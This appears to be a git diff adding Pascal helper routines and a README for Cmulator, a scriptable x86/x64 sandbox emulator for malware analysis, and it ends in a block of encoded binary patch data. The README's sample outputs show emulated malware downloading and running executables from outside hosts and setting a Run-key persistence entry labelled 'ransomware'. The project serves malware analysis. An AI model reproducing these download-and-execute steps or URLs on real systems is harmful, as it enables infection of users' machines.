+function pop(): UInt64; +var + Stack : UInt64; +begin + Stack := 0; Result := 0; + Emulator.err := uc_reg_read(Emulator.uc,ifthen(Emulator.PE_x64,UC_X86_REG_RSP,UC_X86_REG_ESP),@Stack); + Emulator.err := uc_mem_read_(Emulator.uc,Stack,@Result,Emulator.Img.ImageWordSize); + if Emulator.err = UC_ERR_OK then + begin + Stack += Emulator.img.ImageWordSize; + Emulator.err := uc_reg_write(Emulator.uc,ifthen(Emulator.PE_x64,UC_X86_REG_RSP,UC_X86_REG_ESP),@Stack); + end; +end; + +function GetModulehandle(Module : String) : UInt64; +var + Lib : TNewDll; +begin + Result := 0; + if LowerCase(Module) = LowerCase(ExtractFileName(Emulator.Img.FileName)) then + Exit(Emulator.Img.ImageBase); + + Module := Trim(ExtractFileNameWithoutExt(LowerCase(Module)) + '.dll'); + if Emulator.Libs.TryGetValue(Module,Lib) then + Result := Lib.BaseAddress; +end; + +function GetProcAddr(Handle : UInt64; FnName : String): UInt64; +var + Lib : TNewDll; + API : TLibFunction; +begin + for Lib in Emulator.Libs.Values do + begin + if lib.BaseAddress = Handle then + begin + if lib.FnByName.TryGetValue(FnName,API) then + begin + Result := API.VAddress; + break; + end; + end; + end; +end; + +function DisAsm(code : Pointer; Addr : UInt64; Size : UInt32) : TCsInsn; +var + disasm: TCapstone; + insn: TCsInsn; + err : cs_err; +begin + Initialize(Result); + FillByte(Result,SizeOf(Result),0); + disasm := TCapstone.Create; + try + if Emulator.PE_x64 then + disasm.Mode := [csm64] + else + disasm.Mode := [csm32]; + + disasm.Arch := csaX86; + err := disasm.Open(code,Size); + if err = CS_ERR_OK then begin + while disasm.GetNext(addr, insn) do begin + Result := insn; + end; + end else begin + WriteLn('[x] Error in cs_open : Err num ',err); + end; + finally + disasm.Free; + end; +end; + +function reg_write_x32(uc : uc_engine; reg: integer; value : UInt32): boolean; +begin + Result := uc_reg_write(uc,reg,@value) = UC_ERR_OK; +end; + +function reg_write_x64(uc : uc_engine; reg: integer; value : UInt64): boolean; +begin + Emulator.err := uc_reg_write(uc,reg,@value); + Result := Emulator.err = UC_ERR_OK; +end; + +function reg_read_x32(uc : uc_engine; reg : integer): UInt32; +begin + Result := 0; + uc_reg_read(uc,reg,@Result); +end; + +function reg_read_x64(uc : uc_engine; reg : integer): UInt64; +begin + Result := 0; + Emulator.err := uc_reg_read(uc,reg,@Result); +end; + +procedure DumpStack(Addr : UInt64; Size : Cardinal); +var + Result : UInt64; + i : Integer; + ascii, unicode , Str : string; +const + b32 = '%.8x : %.8x | %s'; + b64 = '%.16x : %.16x | %s'; +begin + Result := 0; + if Addr = 0 then + Emulator.err := uc_reg_read(Emulator.uc,ifthen(Emulator.PE_x64,UC_X86_REG_RSP,UC_X86_REG_ESP),@Addr); + Writeln('============ Mem Dump =============='); + for i := 0 to Size do + begin + Emulator.err := uc_mem_read_(Emulator.uc,Addr + (i * Emulator.Img.ImageWordSize), + @Result,Emulator.Img.ImageWordSize); + + + Str := ''; + ascii := ReadStringA(Result); + unicode := ReadStringW(Result); + + if IsStringPrintable(ascii) then + Str := ascii; + if IsStringPrintable(unicode) then + Str := unicode; + + Writeln(Format(IfThen(Emulator.PE_x64,b64,b32),[Addr + ((i * Emulator.Img.ImageWordSize)),Result,Str])); + end; + Writeln('===================================='); + Writeln(); +end; + +procedure HexDump(mem : PByte; len : integer; VirtualAddr : UInt64 = 0; COLS : byte = 16); +var + i , j , max : Integer; + CH : Char; +begin + if Emulator.RunOnDll then Exit; + Writeln(#10'================================ Hex Dump ===================================='); + max := len + ifthen(Boolean(len mod COLS), (COLS - len mod COLS) , 0) - 1; + for i := 0 to max do + begin + + if ((i mod COLS) = 0) then + begin + if VirtualAddr <> 0 then + Write(hexStr(UInt64(VirtualAddr+i),ifthen(Emulator.PE_x64,16,8)),' : ') + else + Write(hexStr(UInt64(mem+i),ifthen(Emulator.PE_x64,16,8)),' : '); + end; + + CH := Chr(Byte((mem + i)^)); + + if (i < len) then + Write(IntToHex(Ord(CH),2),' ') + else + Write(' '); + + if (i mod COLS) = (COLS - 1) then + begin + Write(' | '); + for j := i - (COLS - 1) to i do + begin + CH := Chr(Byte((mem + j)^)); + if j >= len then + Write(' ') + else + if isprint(CH) then + Write(CH) + else + Write('.'); + end; + Writeln(); + end; + end; + Writeln('=============================================================================='#10); +end; + +end. + diff --git a/README.md b/README.md index 7ec1002..c64dadb 100644 --- a/README.md +++ b/README.md @@ -1,2 +1,619 @@ -# Cmulator -Cmulator is ( x86 - x64 ) Scriptable Reverse Engineering Sandbox Emulator for shellcode or PE binaries . Based on Unicorn & Capstone Engine & javascript +# Cmulator - Scriptable x86 RE Sandbox Emulator + +[![License: AGPL v3](https://img.shields.io/badge/License-AGPL%20v3-blue.svg)](https://www.gnu.org/licenses/agpl-3.0) + +<h2> +<b> +Cmulator is ( x86 - x64 ) <br>Scriptable Reverse Engineering Sandbox Emulator for shellcode and PE binaries <br> +Based on Unicorn & Capstone Engine & javascript . +</b> + +## Supported Architectures: +* i386 +* x86-64 + +## Supported File Formats +* PE, PE+ +* shellcodes + +<hr> + +## <a style="color:red">Known problems</a> +* there's a bug in Unicorn modifying data near EIP </br> + if anyone can help please check [unicorn#820](https://github.com/unicorn-engine/unicorn/issues/820) +<hr> + +## Current Features +* Simulated GDT & Segments . +* Simulated TEB & PEB structures for both Shellcodes and PE . +* Simulated LDR Table & Data . +* Manages Image and Stack memory . +* Evaluates functions based on DLL exports . +* Trace all Executed API ( good for Obfuscated PE) . +* Displays HexDump with Strings based on referenced memory locations . +* Patching the Memory . +* Custome API hooks using Javascript (scripting) . +* Handle SEH (still need more work) . + +<br> +<hr> +<br> + +# Hook Example JavaScript + +```javascript +var GetModuleFileName = new ApiHook(); +/* +DWORD WINAPI GetModuleFileName( + _In_opt_ HMODULE hModule, + _Out_ LPTSTR lpFilename, + _In_ DWORD nSize +); +*/ +GetModuleFileName.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // ret + + var hModule = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + var lpFilename = Emu.isx64 ? Emu.ReadReg(REG_RDX) : Emu.pop(); + var nSize = Emu.isx64 ? Emu.ReadReg(REG_R8D) : Emu.pop(); + + var mName = Emu.GetModuleName(hModule); + var Path = 'C:\\pla\\' + mName; + + var len = API.IsWapi ? Emu.WriteStringW(lpFilename,Path) : Emu.WriteStringA(lpFilename,Path); + + // null byte - mybe needed maybe not :D - i put it anyway :V + API.IsWapi ? Emu.WriteWord(lpFilename + (len * 2),0) : Emu.WriteByte(lpFilename+len,0); + + print("{0}(0x{1}, 0x{2}, 0x{3}) = '{4}'".format( + API.name, + hModule.toString(16), + lpFilename.toString(16), + nSize.toString(16), + Path + )); + + // MS Docs : the return value is the length of the string + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, len); + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; // true if you handle it false if you want Emu to handle it and set PC . +}; + +GetModuleFileName.install('kernel32.dll', 'GetModuleFileNameA'); +GetModuleFileName.install('kernel32.dll', 'GetModuleFileNameW'); + +``` + +```javascript +var _vsnprintf = new ApiHook(); +/* +int _vsnprintf( + char *buffer, + size_t count, + const char *format, + va_list argptr +); +*/ +_vsnprintf.OnCallBack = function (Emu, API, ret) { + + // save the param to args + // args is an Array and it's implemented in every ApiHook . + _vsnprintf.args[0] = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.ReadDword(Emu.ReadReg(REG_ESP) + 4); + + // i think implementing this in JS is hard + // so just let the library handle it :D + return true; // True so we continue to the lib code . +}; + +// OnExit Callback .. +_vsnprintf.OnExit = function(Emu,API){ + + // Read Our Saved Param . + var buffer = _vsnprintf.args[0]; + + warn("OnExit : _vsnprintf() = '{0}' ".format( + Emu.ReadStringA(buffer) + )); +} + +_vsnprintf.install('msvcrt.dll', '_vsnprintf'); +``` + +<br> +<hr> + + +## Example Output : + +<details><summary>AntiDebug Downloader</summary> +<p> + +``` +Coldzer0 @ OSX $./Cmulator -f ../../samples/AntiDebugDownloader.exe -q + +Cmulator Malware Analyzer - By Coldzer0 + +Compiled on : 2018/09/29 - 01:51:51 +Target CPU : i386 & x86_x64 +Unicorn Engine : v1.0 +Cmulator : v0.1 + +"AntiDebugDownloader.exe" is : x32 +Mapping the File .. + +[+] Unicorn Init done . +[√] Set Hooks +[√] PE Mapped to Unicorn +[√] PE Written to Unicorn + +[---------------- PE Info --------------] +[*] File Name : AntiDebugDownloader.exe +[*] Image Base : 0000000000400000 +[*] Address Of Entry : 0000000000001000 +[*] Size Of Headers : 0000000000000400 +[*] Size Of Image : 0000000000004000 +[---------------------------------------] + +[---------------------------------------] +[ Fixing PE Imports ] + +[*] File Name : AntiDebugDownloader.exe +[*] Import 3 Dlls + +[+] Fix IAT for : kernel32.dll + +[+] Fix IAT for : urlmon.dll + +[+] Fix IAT for : advapi32.dll + +[---------------------------------------] + +[+] Segments & (TIB - PEB) Init Done . + +[+] Loading JS Main Script : ../API.JS + +Initiating 52 Libraries ... + +[>] Run AntiDebugDownloader.exe + +0x401005 : IsDebuggerPresent = 0 +GetWindowsDirectoryA(403000, 260) = 10 - 'C:\Windows' +0x40103d : URLDownloadToFileA(0, 'https://www.dropbox.com/s/fr3z6axblxfcmq8/UrlDownLoadtoFile.exe?dl=0', 'C:\Windows', 0, 0) +0x401051 : RegCreateKeyA(HKEY_LOCAL_MACHINE, 'Software\Microsoft\Windows\CurrentVersion\Run', 0x403159) = 144 +0x40106f : RegSetValueExA(144, 'ransomware', 0, REG_SZ, 'C:\Windows', 260) +0x40107a : RegCloseKey() +ExitProcess(0x0) + +26 Branches - Executed in 9 ms + +Cmulator Stop >> last Error : OK (UC_ERR_OK) + + + +Press Enter to Close ¯\_(ツ)_/¯ +``` + +</p> +</details> + +<details><summary>x64 Down & Exec ShellCode</summary> +<p> + + +``` +Coldzer0 @ OSX $./Cmulator -f ../../samples/Shellcodes/down_exec64.sc -sc -x64 + +Cmulator Malware Analyzer - By Coldzer0 + +Compiled on : 2018/09/29 - 03:07:11 +Target CPU : i386 & x86_x64 +Unicorn Engine : v1.0 +Cmulator : v0.1 + +"sc64.exe" is : x64 +Mapping the File .. + +[+] Unicorn Init done . +[√] Set Hooks +[√] PE Mapped to Unicorn +[√] PE Written to Unicorn + +[---------------- PE Info --------------] +[*] File Name : sc64.exe +[*] Image Base : 0000000000400000 +[*] Address Of Entry : 0000000000001000 +[*] Size Of Headers : 0000000000000400 +[*] Size Of Image : 0000000000002000 +[---------------------------------------] +[*] Writing Shellcode to memory ... +[√] Shellcode Written to Unicorn + +[---------------------------------------] +[ Fixing PE Imports ] + +[*] File Name : sc64.exe +[*] Import 0 Dlls + +[---------------------------------------] + +[+] Segments & (TIB - PEB) Init Done . + +[+] Loading JS Main Script : ../API.JS + +Initiating 25 Libraries ... + +[>] Run sc64.exe + +LoadLibraryA('urlmon') = 0x70714000 +GetProcAddress(0x70714000,'URLDownloadToFileA') = 0x707ADB10 +0x40111b : URLDownloadToFileA(0, 'http://192.168.10.129/pl.exe', 'C:\\Users\\Public\\p.exe', 0, 2489880) +SetFileAttributesA('C:\\Users\\Public\\p.exe',0x2) +WinExec('C:\\Users\\Public\\p.exe', 0) +FatalExit(0x0) + +95 Steps - Executed in 295 ms + +Cmulator Stop >> last Error : OK (UC_ERR_OK) + + + +Press Enter to Close ¯\_(ツ)_/¯ + + +``` + +</p> +</details> + + +<details><summary>x32 Down & Exec ShellCode</summary> +<p> + + +``` +Coldzer0 @ OSX $./Cmulator -f ../../samples/Shellcodes/URLDownloadToFile.sc -sc + +Cmulator Malware Analyzer - By Coldzer0 + +Compiled on : 2018/09/29 - 03:07:11 +Target CPU : i386 & x86_x64 +Unicorn Engine : v1.0 +Cmulator : v0.1 + +"sc32.exe" is : x32 +Mapping the File .. + +[+] Unicorn Init done . +[√] Set Hooks +[√] PE Mapped to Unicorn +[√] PE Written to Unicorn + +[---------------- PE Info --------------] +[*] File Name : sc32.exe +[*] Image Base : 0000000000400000 +[*] Address Of Entry : 0000000000001000 +[*] Size Of Headers : 0000000000000400 +[*] Size Of Image : 0000000000002000 +[---------------------------------------] +[*] Writing Shellcode to memory ... +[√] Shellcode Written to Unicorn + +[---------------------------------------] +[ Fixing PE Imports ] + +[*] File Name : sc32.exe +[*] Import 0 Dlls + +[---------------------------------------] + +[+] Segments & (TIB - PEB) Init Done . + +[+] Loading JS Main Script : ../API.JS + +Initiating 25 Libraries ... + +[>] Run sc32.exe + +GetProcAddress(0x70300000,'LoadLibraryA') = 0x703149D7 +LoadLibraryA('urlmon.dll') = 0x7065a000 +GetProcAddress(0x7065A000,'URLDownloadToFileA') = 0x706F08D0 +GetProcAddress(0x70300000,'WinExec') = 0x70392C21 +0x40113b : URLDownloadToFileA(0, 'https://rstforums.com/fisiere/dead.exe', 'dead.exe', 0, 0) +WinExec('dead.exe', 1) + +3041 Steps - Executed in 415 ms + +Cmulator Stop >> last Error : OK (UC_ERR_OK) + + + +Press Enter to Close ¯\_(ツ)_/¯ + + +``` + +</p> +</details> + +<details><summary>Show SEH handling (PELock Obfuscator) </summary> +<p> + +``` +Coldzer0 @ OSX $./Cmulator -f ../../samples/obfuscated/obfuscated.exe -ex + +Cmulator Malware Analyzer - By Coldzer0 + +Compiled on : 2018/09/29 - 03:07:11 +Target CPU : i386 & x86_x64 +Unicorn Engine : v1.0 +Cmulator : v0.1 + +"obfuscated.exe" is : x32 +Mapping the File .. + +[+] Unicorn Init done . +[√] Set Hooks +[√] PE Mapped to Unicorn +[√] PE Written to Unicorn + +[---------------- PE Info --------------] +[*] File Name : obfuscated.exe +[*] Image Base : 0000000000400000 +[*] Address Of Entry : 000000000000A4BD +[*] Size Of Headers : 0000000000001000 +[*] Size Of Image : 000000000000F000 +[---------------------------------------] + +[---------------------------------------] +[ Fixing PE Imports ] + +[*] File Name : obfuscated.exe +[*] Import 2 Dlls + +[+] Fix IAT for : KERNEL32.dll + +[+] Fix IAT for : USER32.dll + +[---------------------------------------] + +[+] Segments & (TIB - PEB) Init Done . + +[+] Loading JS Main Script : ../API.JS + +Initiating 44 Libraries ... + +[>] Run obfuscated.exe + +EXCEPTION_ACCESS_VIOLATION READ_UNMAPPED : addr 0x0, data size = 1, data value = 0x0 +0x403031 Exception caught SEH 0x25FEEC - Handler 0x409215 +ZwContinue -> Context = 0x25F97C +EXCEPTION_ACCESS_VIOLATION READ_UNMAPPED : addr 0x0, data size = 4, data value = 0x0 +0x4056EC Exception caught SEH 0x25FEE8 - Handler 0x402516 +ZwContinue -> Context = 0x25F978 +EXCEPTION_ACCESS_VIOLATION READ_UNMAPPED : addr 0x0, data size = 4, data value = 0x0 +0x401974 Exception caught SEH 0x25FEE4 - Handler 0x4019CE +ZwContinue -> Context = 0x25F974 +MessageBoxA(0, 'Hello world', 'Visit us at www.pelock.com', 64) +EXCEPTION_ACCESS_VIOLATION READ_UNMAPPED : addr 0x0, data size = 4, data value = 0x0 +0x403A49 Exception caught SEH 0x25FEF4 - Handler 0x40A17B +ZwContinue -> Context = 0x25F984 +EXCEPTION_ACCESS_VIOLATION READ_UNMAPPED : addr 0x0, data size = 4, data value = 0x0 +0x40AD64 Exception caught SEH 0x25FEF4 - Handler 0x40B461 +ZwContinue -> Context = 0x25F984 +ExitProcess(0x0) + +7387 Steps - Executed in 118 ms + +Cmulator Stop >> last Error : OK (UC_ERR_OK) + + + +Press Enter to Close ¯\_(ツ)_/¯ + + +``` + +</p> +</details> + +<details><summary>Hide SEH handling (PELock Obfuscator) </summary> +<p> + +``` +Coldzer0 @ OSX $./Cmulator -f ../../samples/obfuscated/obfuscated.exe + +Cmulator Malware Analyzer - By Coldzer0 + +Compiled on : 2018/09/29 - 03:07:11 +Target CPU : i386 & x86_x64 +Unicorn Engine : v1.0 +Cmulator : v0.1 + +"obfuscated.exe" is : x32 +Mapping the File .. + +[+] Unicorn Init done . +[√] Set Hooks +[√] PE Mapped to Unicorn +[√] PE Written to Unicorn + +[---------------- PE Info --------------] +[*] File Name : obfuscated.exe +[*] Image Base : 0000000000400000 +[*] Address Of Entry : 000000000000A4BD +[*] Size Of Headers : 0000000000001000 +[*] Size Of Image : 000000000000F000 +[---------------------------------------] + +[---------------------------------------] +[ Fixing PE Imports ] + +[*] File Name : obfuscated.exe +[*] Import 2 Dlls + +[+] Fix IAT for : KERNEL32.dll + +[+] Fix IAT for : USER32.dll + +[---------------------------------------] + +[+] Segments & (TIB - PEB) Init Done . + +[+] Loading JS Main Script : ../API.JS + +Initiating 44 Libraries ... + +[>] Run obfuscated.exe + +MessageBoxA(0, 'Hello world', 'Visit us at www.pelock.com', 64) +ExitProcess(0x0) + +7387 Steps - Executed in 116 ms + +Cmulator Stop >> last Error : OK (UC_ERR_OK) + + + +Press Enter to Close ¯\_(ツ)_/¯ + + +``` + +</p> +</details> + +<br> + +<h3> +And Try it Your Self , find it at "samples/obfuscated/obfuscated.exe" 😉 + +<hr> + +<br> + +## WIP BY Priority : +* Memory Manager +* Checking for Bug & fixing them 👌🏻 + +<hr> + +## TODO BY Priority : +- [ ] PC (RIP - EIP) Hook . +- [ ] improving exception handling. +- [ ] Native Plugins & API Hook Libs . +- [ ] Interactive debug shell. +- [ ] Add Assembler. +- [ ] Implement Threading. + +<hr> + +## Requirements +* Freepascal >= v3 +* Unicorn Engine +* Capstone Engine + +<hr> + +## Installation + +- Install [Lazarus IDE](https://www.lazarus-ide.org/) +- You will find all needed libraries in "libraries" Folder ;) +- Now Build + +<hr> + +## Build + +### 1. Build Cmulator + +This command will also create other binaries such as pesymbols ans peinfo. + +``` +git clone https://github.com/Coldzer0/Cmulator.git + +Open "Cmulator.lpi" with Lazarus IDE + +Then Hit Compile :D +Oh Before that you need to select the Build Mode + +From Laz IDE Select + +Projects -> Project Options -> Compiler Options + +and Select the Mode for your OS . + +``` +#### Or Just Download From [Releases](https://github.com/Coldzer0/Cmulator/releases) +<br><br> + +### 2. Create config.json config file + +``` +touch config.json +``` + +### 3. Set Win dlls Path + +set the dll folders to where you stored your windows dlls and JS Main File . + +``` +{ + "system": { + "win32": "../win_dlls/x32_win7", + "win64": "../win_dlls/x64_win7" + }, + "JS": { + "main": "../API.JS" + } +} +``` + +## Run + +``` +./Cmulator -file samples/AntiDebug.exe +``` + +<hr> + +# Documentation + +## Still working on it , will be available soon . + +<hr> + +## Resources : +<b> + +this work inspired by : + +- [unicorn-libemu-shim](https://github.com/fireeye/unicorn-libemu-shim) - The Main Reason i started this Project ❤ . +- [LIBEMU](https://github.com/dzzie/VS_LIBEMU) - Hooking Methods . +- [SCDBG](https://github.com/dzzie/SCDBG) - The InterActive Debugger . +- [xori](https://github.com/endgameinc/xori) - I Used there Method To Build LDR . + +Used OpenSource Projects : +- [Besen Engine](https://github.com/bero1985/besen) +- [Unicorn Engine](https://github.com/unicorn-engine/unicorn) +- [Capstone Engine](https://github.com/aquynh/capstone) +- [PE Parser](https://github.com/oranke/pe-image-for-Lazarus) +- [Pse PE Parse](https://github.com/stievie/pesp) +- [generics collections](https://github.com/maciej-izak/generics.collections) +- [Super Object (JSON)](https://github.com/hgourvest/superobject) + + +Resouces Used : +- [Microsoft Docs](https://docs.microsoft.com/en-us/windows/desktop/api/) +- [Understanding the PEB Loader +Data Structure](http://sandsprite.com/CodeStuff/Understanding_the_Peb_Loader_Data_List.html) +- [Wine](https://github.com/wine-mirror/wine) +- [Nynaeve Blog](http://www.nynaeve.net) +- [ReWolf terminus - Windows data structures ](http://terminus.rewolf.pl/terminus/) +- [OS Dev - GDT_Tutorial](https://wiki.osdev.org/GDT_Tutorial) +- [Set up a GDT in Unicorn](https://scoding.de/setting-global-descriptor-table-unicorn) + + + + +</b> \ No newline at end of file

    z7&Q0>d#AyZ?UxN6WVek?)AvqQwXuv-az_f=<(?bl=;XdV2%V`&>hpN^nOV@3V(|j! zl6&q3dwA}-$@W%-CE_x8Z4f7X;&u%b*kM?nvi&7pcnTo!^*uYXsm-G=ISuEk-fG$s+L)SqOQN1a71l3Kl=#@*`i1?Lfz zZ|R~V<3RxGHgr4?kgv8;Lcs9BFDl5q9U+bYQ?PY#$A)nu3enM zGg-Gu_U^|bIt78tS=5<5s{V=e`uaO|$+JzO_%l|043SgR@_B@O{7);tRS{~dpjF0 zTx@L->kgcjK(#;Vbh8I7(fYfJII;tjnl?*vF5c(P;rt5*Q3-w*P{$5!(AVC zqxe? zp;!*z6GLh-_%*w85qqSvS%Pw;F+NknP<;*b5t z@%lH{vHWd(qE@FheM|GLm!yx^8~01KO~ec1HF4SOW|jZ~1l)b8+{J1;Z5#5FC7RcQ z>}_+$wCxgEm>+STu)UF7jL<=BqQ!>Lmgl#Xyz{nN{+u!lOW2+5@h-^vd;9_SGWjwo zu7aV!${IpbIbrsIAju107v^GTLzhKuR0Qr}(cDF$z8KEbw+Q#hE@n@zHQGI_#v5E% zqOBCK!#Ibh!q!x<#Q28DN43qC`-NXX8v6?@ZK~BxE1bxh=RG8XL7`L&4pWUDm4GIe zNUHH@PR)uYEA(&Q#6^R1C#N}l_UqB>*`$UX3rC%LMQfl>JMFy2q`x6WirNustljk` zLjv0e+Nm`CLHwsTZJ_2drgVhpvt>^-35hz2rrG&UK|F}edq@Gpfs46dl-^%_m9`>S z6UszMpme)NjpFxAuACAJcKqW^h#cV!ay;*5gv($e*_RdKmMaFqJS!!)}r38 zXCeC}YA(VQxy-pK)63g9Sx_rWlPJR!y@=Qd{=U(#B=MO4fbbI%nZ516MPux(wM7D% zKEn%yoxU9QmHxz{QKC~ZB|IVCehpv!(0-vn`!yQSeyRF{Z-|tMcPXcJzR-Z=3n6LV zx6w@}yj%&d1da7izH9V>|CK=JojYWVhzrNy(hxa`EWwqAh9F740W(#^GmZF}%p5Jk1O5tV2ofHGo84ZB0hGWW>N^wak- z?vScFl>>!(un~x(DEG1B_&ILBvT#%oUH#>@^?PjVt)L3fEG@$lb}T%@rl%Z~{l-1= z@=cAfl56Fv4+LF3O<#{X$IiIVwM;nTMyT6sWu1HA5RuNJ=kzL{YyXKS2LH8h@!Nu* z3N|U>=fR|-ebIPu=e|J3aHN^Iv@(1D!eIz0dz@{3I}u}@xHpx=R$0Q zK~2llg5BfT+zoP%4i<>apSWp65>-UIOFpl}z{7hk5(ANF%PPfBQ+MXC>p2~t)KHil zl|QC$7f09ly#rB)MKAocQW##qol#z{{$vzt=E4E#d8W#d+$Ic^;-;AsBO8$_ba+pb zhYW+zJnaxk9e8;%xrsKE81KVKy$sCbH}z-tI>EE3mp#MTaGm|WA#uDf>@ehd`58B) zA3ydxhs4Xz2&RVKYlp1*5_7j9uYZk$ABVgzKi3VBnrDw0B6ZBc^e5bTh>e`)Ym#I{ z)0x;AA(wluKQhx<>#nOsuj3C>I?b^I)l4(_Ns zK$_;eF(u<@equBbYRFy~D=qzHyAfQB6fl8f@%Hme6MI zQ1VH1!8@Sk&@Qf?qm`)w7CnMNByDjT5wqUm>(C1}3W{EyMQxL1BWF)BHKC!mSTT~B z5SV-p3rDNcQnmW=+7*P}wi$GvM$G)$sxHEjKjN@AFdbJrx1V<|0TAdi>m}b=C$M)C`QC(7$Gk?}lP4O6inXcwM1PQUhNhS3 zFn<1q?92es%cTELIR&f+?=25qNt72Ix(buHw(G&HrMI<^A%N!1NK>I3>oxHnk4baAc5{> z7kfJXIDGcWEa}}X@DN5kaokh0Fg}l(9Avsv7VsK8dK+LB7$8KLDrJ#Q^ojDyO$Wu? z)_jgP(B>Vh7#+kpta}<=30|(}5QV@{uUD2U2I%+PB=w%bs!{?N0yJs_MKxHCI0X$i zHx5@UmeA&eMHJcfKEfc=WKJFW9G~kQn*57KoYCG&nxQ1?e2L-OsKvkrnd^K(+VXrN zYI@0S`SN7*ODes}s9sa^9&RWTkl5B*JMsbl!On+I%h{Z<09G6Co=7=7_@!^H+P=Dr zUMjt5q0yKSXv<`%NWsh*vYf%1JwqG0n764;`r>qLnc|0Ij`Dh0ihkRRBy_#_(4Xz5 z)*qJT8r}mgqMKbT>MkyP3m5BQ&6XyNETSz_$tkiYNx+HPvK55VN4kALa$i7vEPERB z)?EI?m4XPStXBEow(#a#F9GQ9VI-@4>s9*x8>{rJ(24HnU%-T#1Sh5jN`myXR3bq z@4`@^h%O13!A&6GQ5OenG_9OE9~TD(DpTv0m5G;JiAq&7UYaXY>))$PZ7!)yZJZZZ zrb#4BI7Jvmi!hpXzz|0IGyhmU2L=Wj3ST_@y%-JXVU?T(iYXd;o1E1I1 zC)L$gU&T~UCPY7_>0e5xxHR09?l_$1Q^?Bu)AXO^yO(PtniRO5V7{fsAJ}*V2GV4$ zGU>FrgvkKwMW(;S6>DXC&VqQ8)#YC8rq5n@1eCvIYuql|hNyn-+qR;#x+v6rTeNLM zg>A#F?%S1x)qOh_T>pgTHnL_e=V#k+B*q?+33AnT#%H2{wV}wiVQ*Z8{VKK|Sm%}V z&fKSm%5i!SJS0@wo?1j+Q~F$bXZdUm@wTje3N{-|S>tv(dX0x7ha839oYtD`~jALIWB`1z4nWDl=}(k-xC__x2C!mMRN*A9d&k(tVz+` zO!b_1HTYatxEJ zvRVV%riao{s1O7BT%wfbffIa2@F_)OzER;hx*n?;m}FhtW8h6n)z{HamtAU?q4-Oq zi^>WI{IW?WumgGKeM|Xt7A3wc=NWGIekc{Nm7XslH;smYOfvu(E<XB~P2B}p+5olS_ z(+bWk4O?s}IFJ*P)n}qe56!KjSSjIy3t8kE%TUqKQVH`oZqasWB@A=~l}oNkRs6&s znDzM!Rz_ys#f`5d`q3LES7X7x*Y8ASY_XQ<#H^vbx+FQU9N(Bem%8Onn&TA z0UhFK9l!TOx!un=thmG0Bapp;uM3;L7Kl zq8{aZMe@yL+fwc-cnuRao+YX%Pa+sZLk$@Lk{)w9# z%dxUO@gr=C-psdBqUW-+TW4iYGJI$|T<#Z?PmZL>=u6uo>}V&Mt*w+)xTD@5ti=J)1qmfNA=+){#V$ti<@|w77fFS-TAakJ7N+;G{tScxm& zEdh_d%O5k~x>il4*t=3w$+QM1Z;N<|FFN(6@$JJ;$y$Fx!(?}|Knlwn z?^>yT?Yl(2m&Q{c9X$g_eS5%S4mjg61%%$A8+)}nKw^Rh& z`@P-A8{Vq#Ro-f=sTIWhdxa`FK%q(%)3<%{+l4B5C50;a^xK7M6wQB9sNzEk)u;|l zg(~d)VWCQ?Us|Zbmnu|Ag|=Fp#H<#kTNbKBbWx$Im@h6=#gxBLg_Hkxg*tT7MTJ_F zSgMLo+G(IJNU3I7YGbJddFO(8vE{dyhWg4Mw(y?_;nyu(9b)yj@TTUv-422ztwK8$ z*Wgwa)3r|J;4Zgitx?)qUBb>BoA$J739glrv))$DSLD~k(2u5N(K-^wUadgv08{e( zaD}HPIIO~D_!%vj)PZL6zNW$#h@oF{!UU+wXbz#SbapCx9-`HAXQx_; z+04KRP@^L~61AQCYFzpKB@fs?uH7f1AYZl0rgSlD|9_FL9_FIoPSyuTvN+KB8;N4a zOqJ~IaZ222-*~(s+NnUg4p*vleNVb}H>Ybj86z!Q$p%+}R0Q($S1tUPG^s-zl3GQ! z#qZ5(lWw$Q`po5%EGAR^3B&}Sq?s+|SN6+hNgvU0^+I#j)e~*&!wc4Xt&z6%Hx+E) zS37ISOwaehX>LnDg9n3qSq-}xUbXGQh^9m<;2s4Z;LU9*SbG?ZKf@(Jc>0rjak)iO z0BQo+vM5{IA_d0C{W1~EAHj@~tlHIjR$9Mi zoyawIw(^z1xz{vO+ri$@(OQ|5x}GeM&pzd+c3M+dLAEDKrG_X!T4{4Gy4H!%fM@aM zQt=`)UzhVQautQ+a^X`+R~4i`akZzV0XD*}XtOo3`x7q#cC{@M@V{bOm25$|E&qci zug-=X+vBXhP|trW=Hoa_P<*;qN?zLjt0+6vy;8BS1`2MsnAyS%b-TrZ%PlREg~m48 zZr2u(Y|KwpS7G#LdZiaRrDK1wW8`&Nb_b@NQBKR?4pS zb8KnzyRKZ>+@}lh_&>z;*&KTos*0Vo0{Q4%<5r#%&D)JQ3~Nov63z0sG0Lfrea~E= z1oB=}P`>iv_rBMZNN*=0C6xMy0!IB=`6PCZzc4$!i70LP8;P4}+XW&N4J74KD~{jW z6sE9$+1_E^GUZ2>i;V8xU}I#$39z>jMJ*ehuYF}}xIT&rt zR`5Kfpc(Cr+-%F990zyC90R7WU@;*vlba$X{M?y9EGgbWmsq$9Uf^qUob8P`IoDa} zd__Fc38gT(A)RBXkgktfHm<=qsIL^+B6Uh+ixh;&7SUb(BiSO-{dZ)`{(a4|MV$S!M&3%7LLN%~)aC@l%%e&)$R{>#m}zRU z1Dial3@YOl=_8JPDyZ7dO;I3ya;1i?ldl&`AE^p3Cm&o}gdM6@+&I7V;Wm3hQ*vgf zv_|Csem_>iLR{0sZ;>FHtjKProD*r|ju?ZOXg68G&5teT?B<+w!!OM!mmMt&?(Op?7gsoA@*F zzI(NNHHE4_LVsZx;r@2*B*^ARU21|}a7I&}REy+h2~{}}=Q-`PV*i}YpP;M%MS?cp zr4pnyx&xiOaG#YJlZl6lBQ7?XCK`46c!Rg?xu|G&1AM;a&B? z@J{|KBfJmeJoPR#I+}TAjW@MP#OBy860hFDEqE3g-;|5eyHk-u4W7MGbR?~fq2DNP zgrzU+EpKJK8w(>YZd`QdOXe0m)W%q2SQKn71JQXDN40}Bk6Eq$7>gZr_4%JljZz{^ zg!#v+MroBYmrx>NvuVfwB-9^PNs|iUPufn$H->2R*%O; z^X*a$Mk2DT)8cl;@2yu8h}`17%=OL7qi(sI6%~i>JlmQ9ZR>RNiG+2MVq1ZXqkxM4Pu8nJWLh_slZMd-$vd7e67h>iA*BNpnk`9ILM>5I#h0a#!vaJ60x^9PJT- 